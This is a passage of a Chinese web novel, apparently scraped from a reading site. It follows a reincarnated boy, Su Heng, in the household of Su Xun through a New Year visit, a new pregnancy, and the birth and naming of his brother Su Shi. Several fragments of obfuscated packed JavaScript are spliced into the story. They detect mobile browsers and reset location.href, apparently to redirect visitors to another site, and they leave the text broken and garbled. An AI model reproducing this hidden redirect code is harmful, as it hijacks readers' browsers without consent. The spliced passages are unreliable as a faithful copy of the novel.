《大宋道医》 7. 送子张仙 前年年节,程氏怀着苏衡。去岁年节,程氏又怀着八娘。回想起来,苏家这两年竟没有舒舒坦坦地过个节日。好在今年苏家无人有孕,一家老小都松了口气。 年节第二日,苏家儿媳相继回娘家拜年。 出了眉山县,就从青石板路变成了黄泥地,车轱辘在泥地上“嘎吱”转动,偶尔遇上个土疙瘩,车子便会猛地颠簸一下。苏八娘被程氏抱在怀里,每逢车子上下颠簸,她便兴奋地拍手大叫,似乎把这当作了好玩的游戏。 苏衡抿唇不语,两手紧紧抓着木板搭成的座位,好固定身形。苏洵瞧见了,大手一揽,把苏衡半搂在身侧。 “不用,我坐得稳。”苏衡不习惯地挣扎。 “不许躲,让为父抱一抱怎么了。” 苏衡冷着张小脸,别过头去,微红的耳尖却暴露了他的内心。 苏洵眼尖地瞧见,用眼神示意程氏,程氏心领神会,笑弯了双眼。 坐在车厢角落的程之言感受着和乐的氛围,紧绷的身体也渐渐放松下来。程之言毕竟是程家的嫡长子,虽然程家没派人来接,但年节这样的重大节日,不回青神一趟到底说不过去。因此,程氏便做主,带着他一道回程家拜个年。 一家人其乐融融地乘驴车到达青神县。程家的宅院就坐落在青神县风景最好的地段,依山傍水,风水极佳。苏家的车子停在程宅大门前,两名看门的小厮立刻迎了上来。 苏衡跟着大人们走进程宅,程宅里面别有洞天,一步一景,精美绝伦。花园里摆满了各式各样的名贵花卉,其中,又以雍容富贵的牡丹居多。跨过高高的门槛,走进正厅,一应桌案坐具花架屏风,不是用黄花梨木就是用上好的紫檀木做成,金银器皿,名瓷摆件随处可见,几乎要闪瞎人眼。 苏衡眼神淡淡地扫过这些富丽堂皇的器具,内心毫无波澜。这些物什,看着富贵,实则低俗,充斥着一股暴发户的气息。程家给人的感觉就是想把一切奢华之物统统摆在人前,恨不得向全天下的人炫耀他家的富贵。 苏衡暗暗摇头,留心注意程之言的神色。自从进了程家,程之言原本还有些活气的脸上又变得麻木一片,仿佛眼前事物都与他无关,他只是来走个过场。 “明允啊,你来得正好。我花大价钱从成都府请了最好的一支乐伎,为今日的宴席歌舞助兴。你有眼福了!哈哈哈哈哈哈!”程濬朗声大笑,大力拍了拍苏洵的右肩。 “今日登门,主要是为了携家眷向舅兄拜年,依小婿愚见,歌舞倒不必了。”苏洵向来板正端肃,不喜伎乐歌舞,更何况今日有女眷孩童在场,心中更是不希望程濬将好好的家宴搞得满是浓脂腻粉和乌烟瘴气。 “是啊,阿兄。我多年没回青神,今日特意带了你侄儿侄女们给你和阿嫂拜年呢。你可要多备些好酒好菜。”程氏在一旁帮苏洵打圆场。 “说起来,怎么不见阿嫂?”程氏一进门,就看见程濬身侧站着一位楚楚可怜,身穿素白衣裙的陌生美妇人,独独不见郭氏,心下纳罕。 “你阿嫂病了,在屋里歇息养病呢。这是我前些日子新纳的素娘,今日的席面便是她置办的。”程濬大大咧咧地介绍起他身边的美妇人。 原来,那美妇人姓潘,名素娘,是程濬去成都府游玩时遇到的一位弱女子。她的父亲因病去世,但因家境贫寒,她无力置办棺椁葬具,便只能在街头长跪,卖身葬父。程濬当时正好路过,潘素娘身上那股我见犹怜的可怜劲儿一下子他给勾住了。程濬打发下人替潘素娘好生安葬了她的老父,便带着潘素素回了青神。 潘素娘也是好手段,一入程家,立即越过程濬之前的宠妾,成了程濬心尖尖上的人。近日,郭氏病重,程濬竟将接待宾客亲友一事都交给潘素素来做。比起郭氏,潘素娘竟更像程家的女主人。若非郭氏生了程二郎,有子傍身,程濬都要扶潘素娘上位了。 苏洵早知程濬行事荒唐,但没想到他如今当着亲戚的面也不收敛,竟直接让一个妾室出面。苏洵冷下脸,正要发作,却被程氏拉了拉衣袖。看着妻子恳求的眼光,苏洵到底还是忍了下来,黑着脸入席,只想尽快应付完了事。 “你就是言哥儿吧。听说你去了眉山读书,住的可还习惯?吃得可好?”潘素娘莲步轻移,一股淡淡的馨香瞬间在程之言和苏衡鼻间弥漫,苏衡下意识就皱起了眉。 程之言低下头,并不理会潘素娘突如其来的关心。 潘素娘神色不变,面上的笑容又深了几分:“言哥儿怎么也不理我一理,莫不是害羞了?” 程氏见潘素娘越发不像话,将苏八娘转交到金蝉怀里,旋即起身,挡在程之言面前:“言哥儿今日喉咙不适,不方便说话。” “原来是这样,是我误会了”,潘素娘柔柔弱弱地低头致歉,一眼瞧见金蝉怀里的苏八娘。小小的人儿被大红福纹厚袄子裹得严严实实,像个喜庆又可爱的红团子。 “这是八娘吧?真是粉雕玉琢,惹人怜爱。若是我也能生个这么可爱的小娘子,我梦里都要笑醒了。” 潘素娘突然对苏八娘产生了极大的兴趣,缠着程氏问个不停。程氏不善拒绝,也不曾与人撕破脸面争吵,一时竟拿潘素娘没办法。 “阿娘,我想吃豚肉圆子。”苏衡突然出声,打断了潘素娘对程氏的纠缠。 “阿娘给你夹。”程氏终于有借口脱身,一边夹了一枚离苏衡最远的豚肉圆子放到他碗里,一边悄悄松了口气。 苏洵与程氏,一个见不惯程濬的行事作风,一个难以招架难缠的潘素娘,两人如坐针毡地用完饭,立即请辞。等回到苏家雇的驴车上,两人双双松了口气。 苏衡见状,心想:看来,接下来很长一段时间,他们家都不会再来程宅了。 · “王掌柜,这是我抄好的书,两本《诗经》,一本《论语》,烦请检查一二。”苏洵每月月末,都会把这个月抄好的书送去王家书坊换钱。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358178|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “苏郎君抄的书一向字迹工整,从来没出过错,我放心得很。我看呐,就不用检查了!”书坊的王掌柜生得膀大腰圆,笑容可掬,见谁都是一副笑脸。 “这是您的酬劳。”王掌柜双手奉上一个钱袋子。 苏洵也不打开看,接过来就放怀里了:“既然王掌柜信我,待我以君子之道,那我自然也不能以小人之心待您。这银钱,我也不数了。” 王掌柜眯着眼笑:“苏郎君所言极是。对了,我有一事想和您讨教一二。尊夫人接连有孕,先是为苏家添了一位小郎君,次年又生诞下一位小娘子。我与我夫人成亲已三年,至今无子。能否请教一下,您是不是,有什么求子妙方啊?” 苏洵闻言,平日里稍显板正的面孔隐隐透出些许得意之色。他凑近王掌柜,悄声道:“确实有一法。几年前,我出城游玩,在玉局观偶遇一家卜卦店。那店主……” 苏洵将当年在玉局观用玉环换得张仙像,日日供奉,最终得子的故事细细说与王掌柜。王掌柜如获至宝,打算明日就出城去玉局观卜卦店试试运气,看看能不能也求一副张仙像带回家供奉。 自从得了一子一女,苏洵自觉人生圆满,除了还未考得功名,再无其他遗憾。拜别王掌柜后,苏洵带着抄书换来的银钱,心情很是不错地回了苏家。 一回到家中,苏洵就净手更衣,为房中供桌上的哥釉小香炉换香,朝墙上挂着的张仙像虔诚地拜了拜。在苏洵心中,张仙的地位已经远超送子娘娘。 但苏洵没想的是,这张仙送子,不送则已,一送成群。等苏洵拜完张仙,刚出房门,就看见自家长子寒霜满面的冷脸。 苏洵不由得头痛,这又是怎么了?他不记得哪里又惹到衡儿了啊?! “阿父!”苏衡冰冷的声线里压抑着怒气,“你都干了些什么。” “在”,苏洵举起双手,“为父今日就是去书坊送了些书,回来的时候拜了拜张仙。你阿父我是无辜的,我可什么都没干。” 苏衡冷然道:“什么都没干?” 方才程氏突然呕吐,苏衡瞧着,十分像是孕吐。都没等秦郎中赶来,苏衡已经抓住程氏的手,自行给程氏把脉。一诊,指下如盘走珠,果然是滑脉。 程氏又又又怀孕了!苏衡当时便黑了脸。 “阿妹还有三个月才满一岁,你却又让阿娘怀孕了,阿娘的身体哪里受得住。”苏衡满面寒霜。 “什么?”苏洵骤然得知这个消息,一时之间竟没反应过来。 “秦郎中不是说过,阿娘接连生产,有伤元气,要好好调养,不可再频繁生产吗?你怎么又让阿娘受孕了!”苏衡的声音里像是含了冰渣子。 苏衡这才反应过来,反应过来的同时,又有些尴尬,被长子这般指责,面子到底有些挂不住:“请秦郎中了吗?郎中还未到,你阿娘未必是有孕了,许是你多心了。” 苏衡目光凉凉地看他一眼,冷哼一声。 8. 东坡出世 秦郎中没多久就赶到苏家,很快便下了和苏衡一样的结论。苏洵悬着的心终于死了:“我夫人……果真又怀了?” 秦郎中摸了摸他的山羊胡子,用鼻子哼了一声:“老头子我虽然年纪大了,不中用了,但还不至于连个简单的喜脉都诊错。” “您别生气,我不是这个意思。”苏洵连忙道歉。 秦郎中现在看苏洵鼻子不是鼻子,眼睛不是眼睛。明明交代了频繁受孕有伤元气,结果,还不到一年,苏二夫人又有孕了。这苏二郎君可真是! 看在苏家三郎乖巧懂事的份上,他还是耐心地开了个养血安胎的方子,将煎服的方法细细交代给采莲,这才背起医箱,扬长而去。 “慧娘,这次确实是我的错,是我对你不住,让你受苦了。”送走了秦郎中,苏洵满是愧色地环住程氏。 “不就是又怀上了,这是喜事。你与衡儿不要过度紧张了。”程氏拍拍苏洵手臂,以示安抚。 “算算日子,应该是两个月前,衡儿生辰那日怀上的。那日生辰宴上我一时高兴,就多饮了几杯酒。然后……”苏洵老脸微红。 程氏脸上飞红,低下头拧他胳膊:“快别说了!” “是是,夫人饶命。”苏洵连忙告饶。 “说起来,衡儿去哪了?”程氏环顾四周,没看见苏衡,连忙问道。 “许是在和金蝉一起照看八娘吧。”苏洵此时还没意识到问题的严重性,随口猜测道。 “你还是去看看衡儿吧。他现在正生你的气,你快去把他哄好了。”程氏推他。 “好好好。”苏洵领了程氏的命令去找苏衡,满屋子都快找遍了,却遍寻不见。找了半日,最后才发现,苏衡竟在他房里。这大概就是灯下黑了。 “衡儿,你在我房里做什……”苏洵跨进房中,还未站定,一见房中情形,瞳孔立刻紧缩,随即大怒,喝道:“你这是在做什么!反了天了!” 苏衡淡淡看他一眼,把手里的剪子随意扔在供桌上,就准备从桌上跳下来。 “你待在那别动!”苏洵差点被长子吓出心疾,才那么点大就敢拿剪子玩,现在还打算从那么高的供桌上跳下来,越来越无法无天了。 苏洵疾步上前,先把苏衡安全地从供桌上抱了下来,这才取下墙上挂着的张仙像,痛心疾首地质问:“为什么把阿父的张仙像给剪了?就算你生为父的气,也不能拿这画像撒气啊!” “过犹不及,家里的孩子够多了,不劳张仙继续送子了。”苏衡面无表情地说。 “你!”苏洵都要被气笑了,指着苏衡的鼻子,想骂又舍不得骂,一口气憋在胸中,发泄不得。 “这是怎么了?”程氏听到这边的动静,循声寻来,见父子二人彼此横眉冷对,相顾无言,仿佛在斗法一般。她正疑惑,忽然注意到苏洵手中被剪得破破烂烂的张仙像,略一思索,便猜着了来龙去脉,又是叹气又是好笑。 “衡儿,你怎么把你阿父的张仙像给剪了?” “生产伤身,我不想阿娘出事。”苏衡别过头去。 “这……”程氏看看丈夫,又看看长子,手心手背都是肉,左右为难。 “剪成这样,也难修复了。事已至此,便将这张仙像给烧了,最后再拜一拜,送送张仙便罢了。”程氏看向苏洵。 “就听娘子的吧。”苏洵长叹一声,衡儿也没说错,加上慧娘肚子里这个,家中孩子已有三个,够多了。慧娘身体不好,确实不可频频生产。 “衡儿,还不快给你阿父道歉。”程氏蹲下身,与苏衡平视。 “不。”面对程氏,苏衡的脸色缓和些许,但仍是斩钉截铁地拒绝了。 “你这孩子!”程氏点点苏衡的小鼻尖,嗔道。 最后还是苏洵败下阵来,在苏衡的监督下,写了“保证书”,发誓近两年内都不再让程氏怀孕遭罪,苏衡这才同意与苏洵达成和解。 · 数月过去,程氏的肚子像发馒头一般,很快便膨胀了数倍。挺着个大肚子,走路都不方便。采莲和青枝轮番贴身服侍程氏,半刻也不敢松懈。 之前收到程氏有孕的消息时,因为长子还小,离不开人,也受不住路途奔波,郭氏并没有登门探望。如今,程二郎已经一岁半,能跑能跳了,郭氏这才带着长子前来拜访探视。 程氏一见郭氏,便吃了一惊:“阿嫂,你怎么瘦成这样……” 自程氏有孕以来,苏衡和采莲两人不知嘀嘀咕咕商量了什么,最后的结果就是,每日端上来的饭食都顿顿都合程氏的口味,美味又营养,养得程氏都圆润了一圈,脸上气色也好了许多。 如今,程氏与郭氏站在一起,程氏红润的面色衬得郭氏更显憔悴。 “你阿兄他……”郭氏苦笑一声,“自那潘素娘进了门,我在程家越发成了透明人。” 程氏咬唇:“阿兄以前不是这样的,近些年来,怎地行事越发荒唐了。宠妾灭妻,可不是程家家风。” “说起来,这也怨我。你阿兄看中子嗣,我生了二郎后,你阿兄待我倒也好过一阵。只是,上个月,我一直没注意,裙摆绊了那潘素娘一下。请郎中看诊,那潘素娘竟被诊出喜脉。事情一下变严重了。你阿兄以为是我心中嫉妒,有意为之,一怒之下,竟说要休了我。” “好在二郎争气,聪慧讨喜,你阿兄看在才哥儿的份上,休妻一事最后还是作罢了。” 程氏一时沉默,也不知要说什么才能宽慰郭氏。两人相对无言,一个默默垂泪,一个低头不语,屋内顿时安静下来。 程二郎原本在坐在榻上,玩着一个精致的摇摇鼓。见郭氏落泪,立刻慌了,连忙爬起来扯着郭氏的袖子,仰头急喊:“阿娘,不哭!痛痛,呼呼!” 郭氏连忙用帕子擦干眼泪,把程二郎抱到怀里,哄道:“没事了没事了。阿娘没哭,方才是眼睛进沙子了。二郎莫怕啊。” “二郎是个孝顺的,阿嫂你的福气在后头呢。”程氏看着郭氏母子,缓缓道。 “阿娘!花花!”一个百灵鸟似的清脆童音乍然响起,原本气氛有些沉闷的屋子忽然亮堂起来。 “哎哟,小祖宗,你慢点,小心摔着。” 屋内众人循声望去,原来是苏八娘抱着一枝花杆长长的荷花,迈着小短腿吧哒吧哒地从外头跑了进来。那朵荷花颜色粉白,已全然盛开,看着竟比苏八娘的脸蛋还大。 苏八娘的乳娘金蝉身子笨重,走起路来肚子和脸上的肉都要颤上几颤。她甩着帕子,一边喘着粗气一边追了上来。 “阿娘,给你!花花,好看!”苏八娘把荷花高高举起,送到程氏跟前。 “喲,这是重瓣荷花呀。乖宝,你这花是杨老丈家的吧?”程氏接过花,微微俯身,摸了摸小女儿圆溜溜的脑袋瓜子。 杨老丈中的荷花,闻名眉山,就连邻近的不少县城,也听说过杨老丈种荷能手的名号。他家的荷花,一花难求,轻易不送人的。苏家老宅就在杨老丈家隔壁,以前,苏涣家的那两个皮猴儿,每到夏日,都会摸进杨老丈家院子,偷采荷塘里的荷花。苏不欺和苏不疑,都不知挨过多少次打了。杨老丈下手轻,那扫帚木也就意思几下。等他们回家,杨氏可是直接拿柳条抽他们屁股,然后押着两个皮猴儿去跟杨老丈道歉。 后来苏不欺大了,上学了,在先生的教导下,慢慢变得沉稳不少。唯有苏不疑,还是那副天不怕地不怕,捣起乱来八匹马都拉不住的性子。 因为苏不疑有着带苏二娘一道作案,偷采荷花的前科,程氏担心自家八娘也被那混小子带去干坏事了,便盘问道:“是你不疑哥哥带你去的,还是——” 程氏还未问完,苏衡便不紧不慢地走了进来,手里还提着一个竹篮子,篮子里装满了粉白的荷花。 程氏笑了笑:“原来是你阿兄带你去的。那阿娘便放心了。” 衡儿向来稳重,最是让人放心。杨老丈脾气古怪,不喜与人来往。独独衡儿是个例外,很受杨老丈喜爱。兴许,这便是人与人之间独特的缘分吧。 有衡儿在,那这些荷花定是杨老丈送的。程氏放心地收起苏衡与苏八娘带回来的荷花,交予采莲,让她插瓶。 “阿娘,肚肚圆圆。”苏八娘歪头,好奇地盯着程氏隆起的腹部。 “是呀。阿娘之前不是和乖宝说过吗?你很快就会有一个弟弟或者妹妹啦。”程氏的嗓音温温柔柔。 “要妹妹!”苏八娘拍拍手,仰头道。 “为什么一定要妹妹呀?弟弟不好么?”郭氏好奇地问。 “妹妹,像我,可爱!”苏八娘脆生生地说。 程氏与郭氏听了,掩唇大笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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漫漫长夏过去之后,就是丰收的秋季。眉山县家家都喜气洋洋地开塘挖藕,集市上满是卖藕买藕的人。苏家的饭桌上,也出现了各式各样用莲藕做成的佳肴。 鲜虾藕饼、豚肉莲藕角子、凉拌藕片、莲藕炒肉片、桂花糯米藕、莲藕排骨汤……各色藕菜,应有尽有。 苏衡时不时地采莲提供做菜灵感,采莲得以变着法儿地为程氏准备各式营养又美味的吃食。苏洵每日也会陪程氏在院中散步,睡前还会为程氏腹中未出生的胎儿念诗。 至于苏八娘,则负责可爱与逗程氏开心。 在全家人的照顾下,秋去冬来,转眼间,就到了程氏临产的腊月。 生产的场面小儿不宜,苏洵把苏衡敢回房,将照看苏八娘的任务交予了他。苏衡虽然担心程氏,但也知道自己年纪太小,就算在场也帮不到什么,只好心不在焉地待在房内,陪苏八娘玩耍。 “阿兄,妹妹什么时候可以出来呀?”苏八娘玩了一会儿磨喝乐,心里也惦记着未出生的“妹妹”,便将磨喝乐丢到一边,拉拉苏衡的衣角。 “快了。”苏衡安抚地摸摸小妹的头。 兄妹两在房中等了好几个时辰,入夜了,苏八娘开始犯困,小脑袋一点一点地。苏衡见了,便想哄她去睡觉。谁知苏八娘却倔得很,一定要等妹妹出生。 等到采莲一脸喜色地过来,通知两人程氏顺利生产,母子平安时,苏八娘已经困得脑袋都成了一团浆糊,无法思考了。 “衡儿,八娘,你们看,这是你们的小弟弟。”程氏已经累极睡去,苏洵将刚出生的苏四郎抱出来给苏衡和苏八娘看。 苏衡看着襁褓里皱巴巴,像红脸猴子一样的小婴儿,心想:还是妹妹比较可爱。 苏八娘困得眼皮都耷拉下来,强撑着睡意,眯着眼睛看了看小婴儿,小鸡啄米似地点头,喃喃道:“妹妹,你好啊。” “八娘,这是弟弟,不是妹妹。”苏洵耐心的重复了一遍。 “嗯嗯,妹妹可爱……”苏八娘终于撑不住,头一歪,望一边倒去。苏衡早有准备,伸手接住了她。 “阿妹早就困了,能撑到现在已经很不容易。让她好好睡一觉吧。”苏衡抱着呼呼睡去的苏八娘,轻声道。 景佑三年,十二月十九日卯时,苏洵次子诞。 对苏衡来说,多了一个弟弟或是妹妹并没有什么所谓。但他万万没想到,正是这个弟弟,彻底打破了他对自己未来人生的规划。原本恬淡平静的眉山生活,也因为这个弟弟,变得鸡飞狗跳起来。 9. 三苏之家 “哇——哇——”苏八娘一觉醒来,觉得天都塌了,“我要妹妹!呜呜……我要妹妹!阿娘,呜……阿父,呜呜……骗人!呜呜呜呜,坏蛋!” 昨夜苏八娘困意上头,迷迷糊糊地撑到确认程氏和刚出生的“妹妹”平安,就在苏衡怀里沉沉睡去。今日一早,苏八娘神清气爽地醒来,立刻想起昨夜睡眼朦胧间见到的“妹妹”。都不用人来喊她起床,苏八娘就自己一骨碌爬下床,胡乱裹了件袄子,趿拉着虎头鞋,就闹着要看“妹妹”。 结果可想而知。 心心念念的可爱妹妹骤然变成红猴子一样丑兮兮的弟弟,苏八娘实在接受不了,一下子就泪崩了。那哭声震天响,哭得凄凄惨惨戚戚地,不知道的人听了,还以为是有人受了天大的委屈。 “阿娘没骗你呀。阿娘说的是,你可能会有一个妹妹,或者弟弟。”程氏特意把“或者”两个字加重语气。 “乖宝,弟弟也很可爱呀。为什么不喜欢弟弟呢?”苏洵百思不得其解。 “才,才不是!”苏八娘抽抽搭搭地哭诉,“妹妹才可爱,弟,弟弟好丑,像,像猴子!” 程氏捂嘴笑:“八娘是想起去年年节,咱们一起逛瓦子时遇到的那个猴儿了吧。当时看人家小猴子表演爬杆子,不是看得很高兴吗。这会子又嫌弃人家猴儿长得难看啦?” “我不管我不管!就要妹妹!要妹妹!”苏八娘嚎啕大哭。 “弟弟长开了就会变好看。阿妹你不许闹,当心哭坏嗓子。”一旁的苏衡开口了,声音并不大,却有着长兄的威严,苏八娘一下子不哭了,死死憋住了眼泪。 程氏和苏洵看了,暗暗称奇,之前怎么没发现,原来八娘竟最听衡儿的话。 “真,真的吗?”苏八娘圆圆地大眼睛里还含着眼泪,像一汪清澈的泉水。 “自然。阿兄何时骗过你。”苏衡放柔了声音。 · 小孩子的生长速度快得很,几乎一天一个样,转眼间,苏四郎果然就像吹气球一样越长越开,从一只皱巴巴惹苏八娘嫌弃的红脸猴子,长成了白白胖胖,软糯可爱的糯米团子。 苏八娘可高兴了,一得空就扒着摇篮看弟弟睡觉。可是偏偏弟弟却只喜欢阿兄,只有阿兄在旁,弟弟才肯乖乖睡觉,否则就哭闹不止,如同魔音贯耳,吵得人心烦。 因此,苏家近来最常出现的一幅画面便是苏衡在树下摇晃摇篮,哄苏四郎睡觉。苏八娘搬着小凳子坐在一边,看苏衡摇摇篮。摇篮左摇右晃,摇啊摇,摇啊摇,吱呀吱呀的声音就像一曲摇篮谣,慢慢地,苏八娘听着听着就把自己也听困了,糊里糊涂地就在摇篮边睡着了。 苏衡现在每日必做的功课,便是将睡熟的苏八娘抱回屋里,给她盖好被子,免得着凉。 等过了年,苏衡便四岁了,苏洵已经着手开始准备为他启蒙,教他认字。为此,苏洵不仅从眉山木工最好的木匠那里定制了一套适合苏衡使用的桌椅,还砍了一杆屋外的紫竹,亲自为苏衡做了一支趁手的小毛笔。 过了年,苏洵正式为苏衡启蒙。按照苏洵原本的计划,是一日教三个大字,没成想,一教之下,他发现长子聪慧异常,一教便会,一点就通,识字速度远超同龄小儿。别说三个大字,就是一日三十个大字,苏衡也照样能记住。 苏洵大喜过望,长子如此天资,他少不得要炫耀上一番。于是,王家书坊的王掌柜、谭家木匠的谭十一郎,凌家刷牙铺的凌大郎……凡是苏洵在路上遇到的人,都免不了被他拉着炫儿子。 那苏三郎稳重知礼,确实是个懂事的好孩子。若是苏洵大大方方地炫儿子也就罢了,但偏偏他炫子的方式过于刁钻,惹得眉山县中凡是有儿子的人家,提起苏洵都气得牙痒痒。听听那苏明允说的是什么话—— “唉,王掌柜,我实在发愁啊。你说我家衡儿识字也太快了些,我前两天刚做写好一本识字字帖,里头足足有一百字呢,全是我精挑细选的。结果,我家衡儿三天就都认全了。你说,这是不是很愁人?” “十一郎,你等等,别急着走呀,我想跟你讨教个事儿。你说,用什么法子才能让家中儿郎多出去走动走动,不要老待在书房里看书啊,练字啊什么的,这多伤眼睛啊。不不不,我不是在拿你当消遣,我是很认真地在请教你。我家衡儿自从开始识字,就沉迷看书,往往一看就是半日,喊他用饭都要喊上半天。你说说,我该如何是好啊!” “凌大郎,凌大郎——你别走啊,走那么快做什么!凌大郎,凌大郎——” 很快,苏洵就成了眉山县“人嫌狗憎”的存在。苏洵叹口气,觉得很是寂寞如雪,怎么都没人能理解他呢,他是真的很苦恼啊。 对了,阿兄应该还不知道这事,衡儿是他亲侄子,衡儿的学习进度理当让阿兄这个当伯父的知晓才是。思及此处,苏洵兴冲冲地去铺纸研墨,提笔洋洋洒洒地给苏涣写了足足五页家书。 先不论等这家书寄到苏涣手中,苏涣那般温雅如玉的人,看了信都忍不住嘴角一抽,把揍弟弟的冲动强压下来,现在先来讲讲,苏洵的另一个“烦恼”——给次子起名。 眼看着苏四郎已三个月大了,苏洵便开始琢磨着给次子取个好名字。可是偏偏,想起几十个名字都不满意。最后,还是从苏八娘的名字上获得了灵感。 “轮辐盖轸作为一辆车的构成部分,各有其职。我为八娘取名‘苏轸’,而‘轼’作为车前扶手的横木,看似毫无用处,但也是构成一辆车必不可少的部分,一辆车如果缺了‘轼’,便不再完整。我看,四郎不如便叫‘苏轼’吧。” 苏洵侧首征询程氏的意见。 程氏只温婉笑笑:“当初,衡儿的名字是他自己选的。‘轼’这个名字好不好,不如洵郎也让四郎自己决定好了。” 苏洵颔首道:“也好。不过,四郎现下在哪呢?” “大的小的都在衡儿房里呢”,程氏眼里露出一丝无奈与醋意,“四郎一睡醒就哭,谁哄都不行,只有衡儿哄他他才不哭。从早到晚,只要醒着就喜欢黏着衡儿,睡觉也要衡儿哄着才肯入睡。我看呐,我这当娘的反而是最多余的那个。” “他们兄弟俩感情和睦也是好事。你看兄长家的那两只皮猴子,不欺和不疑就三天两头打架闹矛盾,今天这个投诉阿弟抢了他的磨喝乐,明天那个告状说阿兄睡觉抢他被子害他着凉,哎哟闹腾得不行。”苏洵对自家两个儿子成日黏黏糊糊倒挺喜闻乐见。 “那都是多少年前的事了。现在不欺和不疑都大了,尤其是不欺,在书院念书,性子也变得沉稳了,如今兄弟俩感情好得很。” 苏洵与程氏一边说着闲话一边走到苏衡房前。房门虚掩着,苏四郎“咿咿呀呀”开心玩耍的声音正从里头传出。两人对看一眼,相视一笑。果然在这里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358180|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “阿父,阿娘。你们来找弟弟?”苏衡听见外头动静,放下手中毛笔,不紧不慢地迎了出来。 “是啊,你阿父给四郎想了几个名字,来看看四郎自己喜欢哪个。”程氏笑道。 苏四郎一见哥哥要走,立刻“啊啊”地叫着,两只小胖手扒拉着乳娘金蝉的衣服,示意乳娘抱着他跟上去。 苏八娘见状,连忙安抚弟弟:“阿弟,阿兄只是去迎接阿父阿娘。很快就回来了。你不要着急。” 苏四郎不知是没听懂还是不想听,依然扑腾着要找苏衡。见乳娘迟迟没有动作,他小嘴一瘪,作势要哭。 “哎呀,阿弟,你别哭呀。我都说了,阿兄很快回来。阿兄——你快来,阿弟又要哭啦!”苏八娘试图像个靠谱的阿姐一样安抚住弟弟,发现哄不住后,立刻奶声奶气地拉长声音,呼叫阿兄。 苏衡和苏洵程氏一起进屋时,金蝉正抱着苏四郎往外走。 “阿郎,娘子。”金蝉向两人行礼。 “四郎这孩子,连衡儿离开片刻都不行,这也要黏上来。小黏人精!”程氏从金蝉怀里接过苏四郎,轻轻捏了捏他软乎乎的脸蛋,笑骂道。苏四郎没理会正在捏他脸的亲娘,一双活泛灵动的眼珠子一眨不眨地盯着苏衡。 苏衡面上不显,心中却在叹气。弟弟太黏人了也不好。 几人进了屋,苏洵把“轮”“辐”“辕”“辙”“轼”几张字卡平铺在案上,让苏四郎自己选。 苏衡默默在旁看着,还没察觉出不妥,只在心下暗忖,怎么阿父起的名字全部和“车”有关。 当苏四郎小手一抓,把那张写着“轼”的字卡抓起来时,苏衡这才后知后觉地发现事情大条了。 等等,苏什么? 苏——轼? 为什么偏偏是这个字。晴天霹雳,惊雷骤响,也不过如此。 这世间苏姓人家那么多,怎么偏偏,是这个“苏家”呢。 苏衡面无表情地看着抓着字卡,冲自己笑得灿烂无比的弟弟,黑玉似的眼眸中情绪莫名。 他虽不是专门研究历史的历史系学生,也不是专门研究文学的中文系学生,但“苏东坡”的名字对他来说仍是如雷贯耳。 所以,原来他出生在鼎鼎有名,名垂青史的三苏之家?可是,从未听说过苏轼还有一位哥哥,弟弟苏辙的名字倒是耳熟能详。 等等。苏衡突然顿住。 历史上,苏轼好像是有一位早夭的的哥哥,名字似乎是叫——苏景先。这不是苏阿父原本打算给他取的名字么…… 回想起当初他才三个月大时,苏洵为他取名的场景,苏衡垂下眼帘,攥紧了衣袖。 年少成名、享誉文坛、安石变法、新旧党争、乌台诗案、流放岭南……一桩桩,一件件,苏东坡的一生可谓波澜壮阔,跌宕起伏。本以为这一世生在寻常人家,可以平安顺遂了此一生,没想到他所在的不是恬淡悠然的山水田园,而是一艘注定要迎接风暴,破浪前行的孤舟。 “衡儿,你怎么了?”苏洵见苏衡许久不出声,不由有些担心。喜获名字的苏轼挨着阿姐苏轸,窝在程氏怀里,睁着一双圆滚滚的大眼睛,也巴巴地望过来。四双眼睛,都满含家的温暖与关切。 苏衡看着眼前四人,不知怎么的,彷徨的心突然就安定下来。 “无事,方才有些走神了。”苏衡轻声道。 10. 揩齿贝齿散 自那日骤然得知,自家黏人又爱哭的阿弟竟是历史上鼎鼎大名的苏东坡,苏衡再也无法拿看寻常孩童的眼神看待自家阿弟,总觉得有种不真实感。 不过,这种不真实感,随着在苏轼一次次的哭闹,渐渐地消失在他那黏糊糊的缠人劲儿中了。 “啊啊!”苏轼已经六个月大了,一身牛劲儿,仿佛有使不完的力气,现在已经学会爬了。这不,苏轼的乳娘金蝉刚把他放在榻上,他就手脚并用,“哒哒哒”地试图扑过来和他最喜欢的兄长贴贴。 “我还要练十张大字,你乖乖榻这儿玩摇摇鼓,不许乱爬乱叫。” “昂!”苏轼也不知听没听懂,见兄长和他说话了,兴奋地叫了一声。开心! 苏衡哄了一会儿苏轼,这才回到案前,继续提笔练字。他要抓紧时间了,按照往日惯例,阿妹快醒了。等她一醒,定然要来找阿弟。 果然,苏衡今日的晨课还没写到一半,苏八娘就找来了。 “阿兄,早安。阿弟,我来啦!”苏八娘如今三岁,也不用金蝉帮忙,自己就动作利索地爬上榻,开始“玩”弟弟。 “阿弟,我帮你扎小辫子~”苏八娘一把将小苏轼圈过来,兴致勃勃地拿着小梳子开始为阿弟梳发,玩得不亦乐乎。 